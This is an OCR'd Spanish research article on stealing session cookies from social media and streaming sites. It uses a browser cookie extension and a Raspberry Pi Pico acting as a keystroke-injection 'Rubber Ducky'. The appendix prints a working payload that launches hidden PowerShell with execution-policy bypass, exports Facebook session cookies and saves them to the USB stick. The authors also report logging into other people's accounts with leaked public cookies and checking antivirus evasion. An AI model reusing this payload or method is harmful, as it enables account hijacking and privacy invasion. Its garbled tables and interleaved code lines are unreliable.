demanda de la tecnologia de informacién y comunicacion. Tal
como ha sefialado Alvarez (2022) es evidente que, a medida que
este se vuelva cada vez mas complejo, su nivel de importancia y
relevancia critica también ird en aumento.

Esta realidad plantea la necesidad de considerar y abordar
cuidadosamente los riesgos y vulnerabilidades que puedan surgir
en consonancia con el aumento de la sofisticacion del software.
De acuerdo con Aguilera et al. (2017) la proteccion de la
informacion depende de un conjunto de medidas administrativas,
organizativas, fisicas, técnicas o logicas, legales y educativas,
con un enfoque integral y en sistema, de forma tal que garantice
su confidencialidad, integridad y disponibilidad. Una sola
debilidad en un sistema puede tener graves consecuencias en
el rendimiento de una empresa y hacer que la informacion sea
vulnerable a los ataques cibernéticos. Desde el punto de vista
de Rios Gutiérrez et al. (2018) las organizaciones descuidan
la seguridad de las redes por las que circula su informacion
valiosa, enfocandose principalmente en prevenir el robo externo
o interno de datos. Es decir, cuanto mayor sea su complejidad,
mayores seran las posibilidades de que los ciberdelincuentes
logren vulnerar. En América Latina 2020, las empresas son mas
frecuentemente afectadas en comparacion a los usuarios, con
una proporcion de 2:1. Durante el periodo de enero a septiembre
de 2020, Kaspersky bloqueé mas de 20,5 millones de ataques
a usuarios domésticos y mas de 37,2 millones de ataques a
organizaciones en Argentina, Brasil, Chile, Colombia, México y
Peru. Estos datos se basan en las 30 amenazas mas comunes en
la region (Diazgranados, 2020).

Segun Loaiza Carpio (2017) se plantea que: “Una vulnerabilidad
es una debilidad o error (intencional o no) en un sistema
informatico que puede provocar dafio a un activo o recurso
informatico” (p. 13). En otros términos, las vulnerabilidades
en las aplicaciones web son una amenaza constante para la
seguridad de la informacion. Algunas de las vulnerabilidades
mas comunes incluyen ataques de inyeccion de SQL, inyeccion
de cddigo, Cross-Site Scripting (XSS), Cross-Site Request
Forgery (CSRF), entre otros. Estos ataques pueden permitir a
los atacantes acceder a informacion confidencial y sensible,
como contrasefias, nimeros de tarjeta de crédito e informacion
personal. Tomando en cuenta que es importante dar prioridad a
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las aplicaciones web debido a las multiples caracteristicas que
poseen, las cuales albergan diversas tecnologias que pueden
contener errores y vulnerabilidades (Roca y Fernandez, 2019).

Gonzalez y Zuiiiga (2017) definen a las cookies como pequefios
segmentos de datos que permiten suplir las limitaciones que
tiene un protocolo sin estado como HTTP. Las cookies son una
herramienta cominmente utilizada en aplicaciones web para
almacenar informacion sobre el estado de un usuario y mantener
su sesion activa. Sin embargo, el uso inadecuado de cookies
puede exponer a una aplicacion a diversas vulnerabilidades de
seguridad. Las cookies suelen utilizar encriptacion simétrica
para proteger la informacion almacenada en ellas. El algoritmo
mas comunmente utilizado para encriptar las cookies es AES
(Advanced Encryption Standard). AES es un algoritmo de
encriptacion de bloque que utiliza claves de 128, 192 o 256 bits.
Es considerado como uno de los algoritmos de encriptacion mas
seguros disponibles y es ampliamente utilizado en una variedad
de aplicaciones, incluyendo la encriptacion de datos en disco,
VPN (Virtual Private Network) y comunicaciones seguras.

Los delincuentes cibernéticos pueden utilizar diversas tacticas
para obtener acceso no autorizado a las sesiones de los usuarios
mediante el robo de las mismas. Segin Marcillo (2021) las
pruebas de penetracion son una técnica de seguridad cibernética
que se utiliza para evaluar la seguridad de un sistema informatico,
red o aplicacion web, con el objetivo de identificar posibles
vulnerabilidades que puedan ser explotadas por atacantes. Las
vulnerabilidades en las cookies pueden permitir a los atacantes
obtener acceso no autorizado a la informacion personal de
los usuarios, especialmente en Redes Sociales y plataformas
de Streaming. Segin Kaspersky (2021) el tiempo dedicado
al Streaming aumentara en casi un 75% en 2020. EI presente
articulo se enfoca en la investigacion y analisis exhaustivo acerca
de las vulnerabilidades asociadas con los ataques relacionados
al Id de sesion y el uso de cookies en situaciones donde existe
la posibilidad de que se produzcan ataques CSRF dentro de
plataformas de Redes Sociales y Streaming. Para lograr este
objetivo, se llevd a cabo un estudio de pentesting en un entorno
controlado, simulando un ciberataque real con el fin de evaluar la
efectividad de las medidas de seguridad existentes.

2. Materiales y Métodos
2.1. Pentesting con OWASP

Se trata de una certificacion que se enfoca principalmente
en la formacion de profesionales en seguridad informatica,
especificamente en el ambito de los hackers éticos. Hernandez
(2022) define esta metodologia como una prueba de seguridad
ofensiva que simula un ciberataque real en un entorno controlado.
A diferencia de una metodologia, su objetivo principal es
capacitar a los profesionales en la practica de identificacion de
vulnerabilidades, utilizando herramientas y técnicas similares a
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las que emplean los atacantes.
2.1.1. Reconocimiento

Inicialmente se realizod una revision bibliografica sobre el tema
objeto de estudio, donde se pudo investigar el funcionamiento
de las cookies en las aplicaciones web. Se centrara en identificar
y seleccionar las plataformas de Redes Sociales y Streaming
mas populares en internet y analizar el nivel de seguridad
que presentan, utilizando ataques de Id de sesion aplicando la
herramienta para extraccion de cookies, “EditThisCookie”,
establecida como una extension de Google Chrome.

2.1.2. Analisis de vulnerabilidades

Luego del analisis de las vulnerabilidades en estos sitios se
procedio a indagar sobre los procesos mas idonea para explotar
dicha vulnerabilidad utilizando la herramienta “EditThisCookie”,
utilizada para importar y exportar Id de sesion de las cuentas
publicas y privadas vulneradas mediante las cookies.
Posteriormente se analizo el proceso de ataque y se identifico el
dispositivo Raspberry Pi Pico para extraccion de cookies.

2.1.3. Explotacién

Segun Hernandez (2022) consiste en realizar aquellas acciones
que puedan comprometer al sistema auditado. Se utilizan
las herramientas automatizadas para la explotacion de las
vulnerabilidades identificadas en la gestion de sesiones y cookies
de sesion, planteadas en las fases anteriores.

Se configuré el dispositivo Raspberry Pi Pico con las
instrucciones alojadas en el repositorio de Git: https://github.
com/dbisu/pico-ducky, utilizando la version 7.3.3 del archivo.
uf2. Y a continuacion se cred el Payload con las instrucciones
para la extraccion de cookies explotando las vulnerabilidades
analizadas anteriormente. Finalmente se realizaron pruebas de
ataques controlados en ordenadores de estudiantes y docentes
de una institucion educativa, validando la funcionabilidad del
dispositivo y reseteando su programacién de acuerdo a los
errores encontrados.

2.1.4. Post explotacion

Se engrano la informacion extraida de las cuentas publicas,
privadas y las obtenidas con el dispositivo Raspberry Pi Pico y
se analizo los datos sensibles obtenidos logrando ingresar a las
cuentas de los sitios web objeto de estudio.

3. Resultados y Discusién
3.1. Reconocimiento

Las cookies son archivos de texto que almacenan informacion de
inicio de sesion, como nombre de usuario y la contrasena cifrada.

De acuerdo con las declaraciones de Vazquez (2022) las
plataformas de Streaming mas populares en la actualidad son:
Netflix con el 70% de los usuarios, Amazon Prime Video con el
59 % de los consumidores, Hulu con el 49% de los espectadores
y Disney + con el 36 %. Basado en esta informacion, se han
seleccionado las siguientes Redes Sociales y plataformas
de Streaming como objeto de estudio para el analisis de

Figura 1: Fragmento de Cookie
Fuente: Los autores

vulnerabilidades (Tabla 1).

En lo antes expuesto se realizo una busqueda de paginas web que

Tabla 1: Redes sociales y plataformas de streaming a vulnerar
Fuente: Los autores

Redes Sociales Plataformas de Streaming

LinkedIn Twitch
Reddit Netflix
Facebook Amazon prime
Instagram Disney plus
Twitter Crunchyroll
Tick tock Youtube
Pinterest HBO

Spotify

ofrezcan cookies publicas con plataformas de Streaming, como
es rttar.com y imperialpedia.com que son web especializadas en
publicar cookies de plataformas de Streaming, asi mismo, para
verificar las vulnerabilidades existentes en las plataformas de
Redes Sociales se crearon cuentas con el propdsito de generar
los cookies, posteriormente se procedid a importarlas para
comprobar su vulnerabilidad y el riesgo de la informacion
expuesta de los usuarios en este tipo de Redes Sociales.

Asi mismo, se crearon cuentas en distintas Redes Sociales con

a

Figura 2: Paginas web que ofrezcan cookies. (a) rttar.com; (b)
imperialpedia.com
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el proposito de evaluar su nivel de proteccion ante posibles
amenazas en linea. Estas validaciones incluyeron el uso de
herramientas destinadas a detectar actividades sospechosas y
evitar la suplantacion de identidad, la recepcion de notificaciones
de seguridad en caso de posibles amenazas, la aplicacion de
autenticacion de dos factores, asi como la evaluacidon de las
politicas de proteccion de datos personales y privacidad ofrecidas
por cada una de las Redes Sociales que se detallan en la (Tabla
1). Posteriormente se analizaron las respectivas extensiones de
navegadores para importar y exportar las cookies (Tabla 2).

Tabla 2: Principales extensiones de Google para el tratamiento
de cookies.
Fuente: Los autores

Extensiones para el manejo de cookies

Funciones Necesarias

Nombre
Importar  Exportar Editar
cookie-editor.cgagnier.ca  [J 0 D
www.hotcleaner.com O 0
CopkleManager - Cookie 0 0 0
Editor
EditThisCookie \ ] O

Es importante destacar que, se empled la extension
“EditThisCookie” disponible en Google Chrome, la cual ofrece
diversas opciones tales como eliminar, insertar, modificar,
importar y exportar cookies. Asi mismo, cuenta con caracteristicas
que permiten acceder a su interfaz a través del enlace de la
pagina web correspondiente, lo que facilita la automatizacion del
proceso de exportacion de cookies.

a b

Figura 3: Interfaz de la extension EditThisCookie disponible en
Google Chrome. (a) Visualizacion de Cookies;
(b) Importacion de Cookie de Pinterest
Fuente: Los autores
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3.2. Analisis de vulnerabilidades
3.2.1. Extension de Google Chrome EditThisCookie

En un entorno de practica controlado, se ha evidenciado que
es factible robar informacion a través del acceso a la sesion
almacenada en las cookies con solo unos pocos clics (Figura 3).
Esta vulnerabilidad expone la facilidad con la que un atacante
podria acceder a la informacion sensible y valiosa. De acuerdo
con Muncaster (2022) los Id de sesion son emitidos durante el
inicio de sesion en sitios web y aplicaciones. Se ha constatado
que al exportar las cookies de las Redes Sociales y plataformas
de Streaming y luego importarlas en otro ordenador utilizando la
extension EditThisCookie, es posible iniciar sesion en la misma
pagina sin la necesidad de proporcionar el usuario y la contraseia
(Figura 3). El uso de la extension de Chrome EditThisCookie
ha permitido una edicion mas eficiente y agil de las cookies al
simplificar el proceso de edicion de las mismas. Como resultado
se ha capturado el Id de sesion en sitios web de Redes Sociales y
plataformas de Streaming (Tabla 1).

3.2.2. Rubber Ducky USB con un Raspberry Pi Pico

Raspberry Pi Pico es una placa de microcontrolador basada en
el chip Raspberry Pi RP2040, ha sido disefiada para ser una
plataforma de desarrollo flexible y de bajo costo para RP2040,
con una interfaz inalambrica de 2,4 GHz y proporciona suficiente
potencia para proyectos integrados. De acuerdo con Vishnu y
Kulkarni (2022) los dispositivos HID, como mouse y teclados,
han evolucionado para ser reconocidos por el sistema operativo
como dispositivos seguros, lo que ha mejorado significativamente
la seguridad del hardware en los ordenadores modernos. Segun
Fuentes et al. (2018) la gran mayoria de los controladores
reguladores utilizados (mas del 97%) son del tipo PID. Esto
se debe en gran medida a que son faciles de ajustar y estan
disponibles en practicamente todos los equipos de control de la
industria. Basicamente, un controlador PID mide la variable que
se desea controlar y la compara con el valor deseado (también
conocido como “setpoint”).

Rubber Ducky USB o también denominado BadUSB permite
extraer las cookies de un ordenador a través de una ejecucion
de comandos programados con software malicioso que accede a
la informacion almacenada en el navegador web del ordenador
objetivo. Segun Vishnu y Kulkarni (2023) este dispositivo lo
definen como una especie de software que se graba directamente
en una pieza de hardware, conocida como Firmware, para
poder conectarse con el sistema operativo del ordenador,
los controladores de hardware, también conocidos como
controladores de dispositivos, son una coleccion de archivos.
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Figura 4: Rubber Ducky USB
(a) Dispositivo Raspberry Pi Pico; (b) Raspberry Pi Pico
conectado como teclado.
Fuente: Los autores

3.3. Explotacion
3.3.1. Modo de configuraciéon

El dispositivo Raspberry Pi Pico y las placas RP2040 de terceros
pueden usar una variedad de lenguajes de programacion,
incluidos Micro Python, Circuit Python, C/C ++y el lenguaje de
Arduino. Incluso hay Piper Play, una version basada en bloques
de Python para el Pico. Micro Python y C/ C ++ son los lenguajes
oficialmente admitidos por la Fundacion Pi, pero Circuit Python,
que es similar, tiene ciertas ventajas, como su soporte integrado
para USB HID, lo que significa que puede convertir su Pico
en un teclado, mouse o joystick que es reconocido por una PC
(Personal Computer) (Figura 4). Para editar el payload sin tener
que esperar a que se ejecute cada vez que se conecte a la PC,
ingresa al modo de configuracion conectando el pin 1 (GPO) al
pin 3 (GND), esto detendra la inyeccion del payload por parte
de pico-ducky, para cambiar el idioma de inglés a espaiol se
descarga el pyzip, llamado circuitpython-keyboard-layouts-7x-
mpy-XXXXXXXX.zip.

Figura 5: Modo de configuracion del Raspberry Pi Pico
(a) Puente pin 1 (GPO) al pin 3 (GND); (b) Archivos a copiar
del .zip descargado;

(c) Codigo que ejecuta el teclado en inglés; (d) Codigo que
ejecuta el teclado en espafiol.

Fuente: Los autores

3.3.2. Creacion del Payload

El script automatiza acciones en Chrome y PowerShell, en
términos generales, el script realiza los siguientes pasos:

Figura 6: Funcionamiento del Payload.dd
Fuente: Los autores

El Raspberry Pi Pico, luego de ser configurado y cargado con
el archivo Payload e insertado en un ordenador victima, tiene la
finalidad de ser detectado como un dispositivo USB HID en el
ordenador y finalmente extrae las cookies de los sitios de Redes
Sociales y almacenarlas dentro de si mismo. Para comprobar
la veracidad del Raspberry Pi Pico, se probaron en varios
ordenadores con diferentes caracteristicas (Tabla 3), durante el
proceso de prueba, se identificaron ciertas variables clave que
deben ser consideradas para asegurar el correcto funcionamiento
del dispositivo. Estas incluyen la capacidad de procesamiento,
velocidad de reloj, memoria RAM, sistema operativo y la
disponibilidad de drivers especificos. Cualquier variacion
en estas caracteristicas puede afectar significativamente el
rendimiento del Raspberry Pi Pico.

Tabla 2: Caracteristicas de los PC
Fuente: Los autores

Caracteristicas

Ordenador Sistema

Procesador  Ram ! Almacenamiento  Antivirus  GPU
Operativo
AMD Ryzen Windows 11 SSD/ 118GB, Windows ) N
! 33250U 4GB Home 356GBUsado  Defender ~ odcon Graphics
Intel®Core™ o HDD 283GB/  Windows )
2 is 4GB Windows 8.1 Pro 57.4GB Usado Defender Nvidia 320m
s AMDRyzen oo Windows 11 M.2/ 476GB Windows ~ Radeon Vega Mobile
k 73700U Home 738GBUsado  Defender  Gfx
Intel®Core™ ) M.2/ 465GB kaspersky  intel ® UHD graphics
4 5-10400 1668 Windows 10Pro 30765 sado fiee 630
. . HDD 500GB
Intel®Core™ Windows 11 360 total - )
3 i7-9700 1668 Home security Nvidia 1660 ti
N . SSD/ 500GB
s Intel®Core™ ) - Windows 11 360 total Radeon 5300xt
i7-4771 Home 400GB Usados _ Seeurity
- SSD/ 222GB asbers
7 Intel®Core™ 55 Windows 10 Pro kaspersky
i3-1005G1 $8GB Usados free
Intel® e
s Core™Is- 16 Windows 10 $SD 500 MB f‘iﬁ'e'e“d”
2410MCPU  GB  Home se"wri
@2.30 GHZ Y
Intel®
Core™ i7- . Windows -
9 sssoucpy 16 Windows 10 124 TB Defonty  Radeon Graphics
@1.80 GHz
Intel®Core™ ) HDD 283GB/  Windows .
10 is 8GB ‘Windows 8.1 Pro 57.4GB Usado Defender Nvidia 320m

Se llevo a cabo aproximadamente 500 validaciones para evaluar la
eficacia del dispositivo Raspberry Pi Pico en varios ordenadores
con diferentes especificaciones (Tabla 3). Se identificaron ciertas
caracteristicas criticas que deben ser consideradas para lograr el
funcionamiento optimo del dispositivo (Tabla 4). La principal
limitacion identificada en el estudio fue la variabilidad en el
tiempo de ejecucion del script en los diferentes ordenadores; se
evidencid que se debe asignar un tiempo de espera apropiado
entre las ejecuciones segun el tamafio de la tarea a procesar,
en algunos procesos requerian un retardo minimo de 200ms y
un maximo de 10000ms debido a la apertura de programas que
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dependian directamente de la capacidad de procesamiento del
equipo o de la velocidad de la conexion a internet.

Tabla 4: Observaciones encontradas del desempeifio del
Raspberry Pi Pico

Fuente: Los autores

Observaciones Recomendaciones

El dispositivo escribe caracteres diferentes a los indicados ~ Configurar el Teclado del Dispositivo con el mismo idioma que el
en el Payload.dd ordenador a atacar.
Establecer correctamente los tiempos de espera entre cada accion

No escribe todo el comando en una accién en especifico. . 0 e
dela del victima.

Verificar que el equipo victima tenga activado ¢l guardado de

No tiene ningiin registro de cookies de sesion ;
cookies.

Navegador Desactualizado en PC més antiguos Actualizar Navegador.

Desconfiguracién del Raspberry Pi Pico Guardar los archivos de Configuracién.

No carga el Navegador Comprobar la Configuracion de redes.

Revisar al presionar f12 en el navegador si esta seleccionada la
consola (en el caso de encontrarse en la pestafia de elementos,
seleccionar consola)

No abre la Consola del Navegador

3.4. Post explotacion

Posteriormente, se recopilaron cookies publicas de los sitios web
rttar.com e imperialpedia.com, junto con las generadas por los
investigadores y el dispositivo Raspberry Pi Pico. Utilizando
estas cookies, se logrd acceder a datos muy sensibles al vulnerar
las plataformas de la (Tabla 1). Esto demuestra que un atacante
puede obtener informacion de los propietarios de estas cuentas
con solo un par de herramientas y aplicarlas. Sin embargo, por
razones éticas, no se compartié ni utilizd informacién sobre
transacciones econdmicas de los usuarios vulnerados. Durante
el uso de la herramienta Raspberry Pi Pico, se observo que el
rendimiento puede verse afectado por factores externos, como
la velocidad del Internet y el nivel de rendimiento del ordenador
objetivo (Tabla 4).

Figura 7: Error debido a que la pagina web no pudo cargarse
debido a las limitaciones de capacidad del ordenador utilizado
Fuente: Los autores
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En la evaluacion del dispositivo, se consideraron los programas
antivirus para verificar si el acceso al sistema se realizaba sin ser
detectado. Para llevar a cabo esta evaluacion, se cargo el Payload
en la pagina web VirusTotal y se analiz6 su capacidad para evadir
la deteccion de los programas antivirus.

Figura 8: Reporte de VirusTotal al Evaluar el Payload
Fuente: https://www.virustotal.com/gui/home/upload

A partir de las Redes Sociales que se investigaron, utilizando
el dispositivo Raspberry Pico, se pudo acceder a las siguientes
plataformas:

Tabla 5: Prueba de acceso con las Cookies obtenidas del
Raspberry Pico

Fuente: Los autores

Redes Sociales (Privadas)  Acceso

LinkedIn Denegado
Reddit Denegado
Facebook Permitido
Instagram Permitido
Twitter Permitido
Tick tock Permitido
Pinterest Permitido

Se llevaron a cabo diversas pruebas y analisis para garantizar la
seguridad y privacidad de la informacion recopilada. Gracias a
la capacidad de Raspberry Pico para recopilar datos de manera
eficiente, se obtuvo una gran cantidad de informacion valiosa y
relevante que permitié profundizar en el estudio de las Redes
Sociales seleccionadas. Es importante destacar que se respetaron
las politicas y términos de uso de cada plataforma, y se actud de
manera ética en todo momento.
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Tabla 6: Acceso a cuentas publicas y privadas

Fuente: Los autores

Cuentas Privadas Usuarios Cuentas Piblicas rttar imperialpedia

Youtube 5 Netflix 5 1
Twich 5 Crunchyroll 1 1
Facebook 5 Prime Video 1 1
Instagram 5 HBO 0 1
Twitter 5 Disney Plus 0 1
Tiktok 5 Spotify 1 1
Pinterest 5

LinkdIn 5

Se generaron 40 cuentas privadas para las plataformas de Redes
Sociales y 14 cookies de cuentas publicas extraidas de las
paginas rttar.com y imperialpedia.com para las plataformas de
Streaming.

Tabla 7: Comparacion de las Redes Sociales y los datos
vulnerados

Fuente: Los autores

Lmrl:cd[ Reddit  Facebo Instagra o Tick

Redes Sociales ok m tock

Informacin peronal © ©
Informacién de peril S
o ©
Informacién de empleo S (N
Historial de transacciones S (N
Menssprivades o ©
o ©
Informacién de ubicacién S [N
historial de navegacion S O
Informacién de contactos S S

En cuanto a las plataformas de Streaming, se obtuvieron cookies
de las paginas rttar.com e imperialpedia.com. Sin embargo,
se observo que estas paginas a veces proporcionaban cookies
expiradas, lo que generaba un cierto grado de error en el proceso
de obtencion de las mismas.

4. Discusion

Es esencial destacar que las técnicas mencionadas anteriormente
son solo algunas de las muchas formas en que se pueden descubrir
vulnerabilidades en las cookies. Hay una gran cantidad de
técnicas y herramientas disponibles para este proposito. Ademas,
es fundamental contar con un equipo altamente capacitado y con
experiencia en seguridad informadtica para llevar a cabo estas
pruebas de manera efectiva. De lo contrario, podrian pasarse por

Tabla 8 : Comparacion de las Plataformas de Streaming y
los datos vulnerados

Fuente: Los autores

N . Amaz . N
Plataformas de Sircaming Twie  Netli )" Disne  Crunc  YouT oo Spotif
h x yplus  hyroll  ube y
prime

=
(=]

Informacion personal

Informacion de perfil

Fotos y videos privados

Informacién de empleo

Historial de transacciones

Mensajes privados

Cuentas vinculadas

Informacion de ubicacion

historial de navegacion

o NINK oo oW
o INK o N e oK
o INK oo oW
NANANAMRAENARKER
o INK o N o oK
o NINLK oo oWl

o KK @ 2 0 0o XK

Informacion de contactos

RNNERRK oo o N KK

alto vulnerabilidades importantes o se podrian generar falsos
positivos que podrian llevar a una conclusion equivocada. La
seguridad informatica es un campo altamente especializado que
requiere una atencion cuidadosa y una experiencia profunda para
garantizar que los sistemas estén protegidos de manera efectiva
contra amenazas y ataques cibernéticos.

La extension Cookie Editor puede ser una herramienta muy til
para analizar el comportamiento de las cookies en diferentes
Redes Sociales y plataformas de Streaming. En este sentido,
es importante seflalar que Twitter, ha implementado medidas
de seguridad para proteger a los usuarios, como el bloqueo de
cuentas en caso de detectar un comportamiento sospechoso.
Sin embargo, es cierto que no todas las plataformas tienen las
mismas medidas de seguridad, y algunos usuarios pueden utilizar
herramientas como Cookie Editor para extraer y manipular las
cookies de otros usuarios. Es por eso que las empresas deben
tomar medidas para proteger la privacidad y seguridad de sus
usuarios.

En el caso de Facebook, es cierto que no tiene el mismo nivel
de seguridad que otras plataformas, y se han reportado casos en
los que los datos de los usuarios han sido utilizados de manera
malintencionada. Aunque la plataforma ha tomado medidas para
mejorar la seguridad de los datos de los usuarios, es necesario que
los usuarios estén al tanto de los riesgos que existen al compartir
informacion en linea, y puedan tomar medidas para proteger su
privacidad y seguridad.

Importar cookies de sitios publicos de plataformas de
Streaming puede proporcionar informacién valiosa sobre el
comportamiento del usuario y sus preferencias. Por ejemplo, al
importar las cookies de Netflix, se pueden ver los programas y
peliculas que ha visto el usuario, y al observar esta informacion
en conjunto con los datos demograficos del usuario, se pueden
inferir sus gustos y preferencias. Cabe destacar que no todas
las plataformas de Streaming ofrecen el mismo nivel de acceso
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a través de cookies. Algunas, como Netflix, permiten ver todo
el contenido disponible, mientras que otras, como Disney Plus
Hotstar, limitan el acceso solo a la informacion del usuario.

Esto se debe a que cada plataforma utiliza diferentes técnicas
de seguridad para proteger su contenido y la privacidad de sus
usuarios. Algunas plataformas pueden ser mas vulnerables a
ciertas técnicas de hacking, lo que podria permitir a un atacante
obtener acceso completo a su contenido. Por esta razon, las
plataformas deberian implementar mas medidas de seguridad
que sean adecuadas para proteger sus sistemas y la informacion
de sus usuarios. Es relevante que los usuarios también tengan
precaucion al importar cookies de sitios publicos, estos podrian
comprometer su informacion personal. Ademads, el uso de cookies
de terceros sin el permiso de la plataforma de Streaming puede
ser ilegal y puede tener consecuencias legales graves.

El Rubber Ducky es un dispositivo que se ha vuelto muy popular
en el mundo de la seguridad informatica por su capacidad para
automatizar acciones en el equipo de la victima. Aunque puede
ser utilizado para fines legitimos, también puede ser utilizado
con fines malintencionados. En este caso, el uso de un Raspberry
Pi Pico como Rubber Ducky casero para extraer cookies de
Redes Sociales es un ejemplo de como se pueden utilizar este
tipo de dispositivos para llevar a cabo acciones no autorizadas.
La extraccion de cookies de Redes Sociales puede permitir a un
atacante obtener acceso no autorizado a la cuenta de la victima y,
potencialmente, obtener informacion confidencial.

Una posible solucion para mitigar el riesgo del Rubber Ducky
casero es bloquear los puertos USB en los dispositivos de la
organizacion. Esto puede hacerse mediante la deshabilitacion
del puerto USB en la BIOS, la desinstalacion del controlador
USB o mediante software de control de acceso. Aunque
bloquear los puertos USB puede ser una solucion efectiva, puede
generar inconvenientes en la operacion cotidiana. Por lo tanto,
es importante equilibrar la seguridad con la funcionalidad y la
conveniencia para encontrar la mejor solucion.

5. Conclusiones

Que el acceso no autorizado a la informacion personal de los
usuarios es una violacion grave de la privacidad y la seguridad.
Los atacantes pueden utilizar esta informacion para cometer
fraude, robo de identidad, extorsion, acoso y otros delitos
cibernéticos. Por esta razon, es fundamental que los usuarios
tomen medidas de seguridad adecuadas para proteger su
informacion en linea, como utilizar contrasefias seguras, activar
la autenticacion de dos factores y evitar compartir informacion
personal sensible en linea.

Informatica y Sistemas
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Las plataformas LinkedIn y Reddit son mas seguras que otras
como Facebook, que es la red social mas vulnerable. Twitter
detecta actividad sospechosa y tiene un buen nivel de seguridad.
En cuanto a los servicios de Streaming, YouTube brinda mas
informacion a los atacantes mientras que Netflix es una de
las plataformas mas vulnerables debido a la gran cantidad de
cookies encontradas. Es importante estar al tanto de las politicas
de privacidad y seguridad de cada plataforma y tomar medidas
adecuadas para proteger la informacion sensible de estos
sitios web, como utilizar contrasefias fuertes y actualizarlas
regularmente y evitar compartir informacion personal o
confidencial; Al hacerlo, se puede disfrutar de los beneficios
que ofrecen estas plataformas en linea sin comprometer nuestra
seguridad.

Que los proveedores de servicios en linea también tienen la
responsabilidad de proteger la informacion de sus usuarios y
de implementar medidas de seguridad adecuadas para prevenir
el acceso no autorizado a sus plataformas. Esto incluye la
implementacion de sistemas de autenticaciéon robustos, la
deteccion temprana de intrusiones y la respuesta rapida a
incidentes de seguridad. En ultima instancia, la seguridad en
linea es un esfuerzo conjunto entre los usuarios y los proveedores
de servicios, y requiere la colaboracion y el compromiso de todos
para mantener la integridad y la privacidad de la informacion en
linea.

Que el uso del Payload resultdé fundamental en el estudio, se
tratd de un conjunto de instrucciones que, configurado como
un teclado, permitié acceder a los datos de las cookies de las
Redes Sociales. Es importante destacar que este estudio se
llevod a cabo con el objetivo de demostrar de manera clara y
sencilla como un atacante puede robar informacion, aunque
se encuentra en su fase beta, se han obtenido resultados muy
satisfactorios, logrando obtener las cookies de varias sesiones
de cuentas de Redes Sociales sin ser detectados. Cabe sefialar
que, para su funcionamiento, se deben cumplir ciertos requisitos
del ordenador victima, como la configuracion del teclado y el
rendimiento del ordenador, esto afecta el tiempo de ejecucion de
cada instruccion. Ademas, es importante contar con una conexion
a Internet de calidad. En resumen, el Payload es una herramienta
prometedora que puede ser muy efectiva siempre y cuando se
cumplan los requisitos necesarios en el ordenador victima.

El Raspberry Pi Pico es un dispositivo que se puede convertir
en un USB Rubber Ducky para ejecutar comandos mediante
emulacion de teclado. Sin embargo, debido a sus limitaciones de
hardware y recursos, el rendimiento de los scripts creados en él
puede ser menos eficiente que en el Rubber Ducky original. En
particular, al conectarse a ordenadores con poca capacidad de
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memoria RAM, disco mecanico o con una conexion a Internet
lenta para descargar la extension necesaria que usa el script, la
ejecucion del script puede ser mas lenta o tener problemas.
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Apéndice o Anexo
Payload usado con el Raspberry Pi Pico
REM ABRIR CHORME
GUIR
DELAY 700

STRINGL powershell -w h -NoP -Nonl -Exec Bypass start chrome
“https://chrome.google.com/webstore/detail/editthiscookie/
fngmhnnpilhplacedithccceomelgtbg?hl=es-419”

DELAY 1000
ENTER
DELAY 10000
CTRLL
DELAY 2000
TAB

DELAY 200
TAB

DELAY 200
TAB

DELAY 200
TAB

DELAY 200
TAB

DELAY 200
TAB

DELAY 200

TAB
DELAY 200
TAB
DELAY 200
TAB
DELAY 200
TAB
DELAY 200
TAB
DELAY 200
TAB
DELAY 200
TAB
DELAY 200
TAB
DELAY 200
TAB
DELAY 200
TAB
DELAY 200
TAB
DELAY 500
ENTER
DELAY 1000
TAB
DELAY 500
ENTER
DELAY 2000
ESCAPE
DELAY 3500
CTRLN

STRING
fngmhnnpilhplaeedithccceomclgfbg/popup.

chrome-extension://

REM Dentro de url= [Especificar la ruta de la pagina a extraer
las cookies]

STRING html?url=https://www.facebook.
com/&1d=710624068&incognito=false

DELAY 1000

ENTER
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DELAY 1000 ENTER
F12 STRING Get-Clipboard | Set-Content -Path $FilePath
DELAY 1000 DELAY 550
ENTER ENTER
DELAY 1000 STRING Get-Process chrome | Foreach-Object

STRING document.getElementByld(“copyButton”).click();
DELAY 1500
ENTER

DELAY 1000

GUIM

DELAY 1000

GUIR

DELAY 500
STRINGL powershell
DELAY 1000
ENTER

DELAY 2000

STRING $drive = (Get-WmiObject Win32 Volume | ? {
$ .DriveType -eq 2 } | Sort-Object -Property Name | Select-
Object -Last 1).Name

DELAY 750

ENTER

DELAY 500

STRING $save = “saves”

DELAY 550

ENTER

STRING $FolderPath = [string]::Concat( $drive,$save)
DELAY 550

ENTER

STRING $FileName = “{0:yyyy-MM-dd_hh-mm}_ User-
Cookies.txt” -f (Get-Date)

DELAY 550

ENTER

STRING $FilePath = Join-Path §FolderPath $FileName
DELAY 550

J Informatica y Sistemas
Revista de Tecnologias de la Informatica y las Comunicaciones

{$_.CloseMainWindow() | Out-Null }
DELAY 500

ENTER

STRING Get-Process chrome | Foreach-Object
{$_.CloseMainWindow() | Out-Null }
DELAY 500

ENTER

STRING Stop-Process -Id $PID

DELAY 550

ENTER
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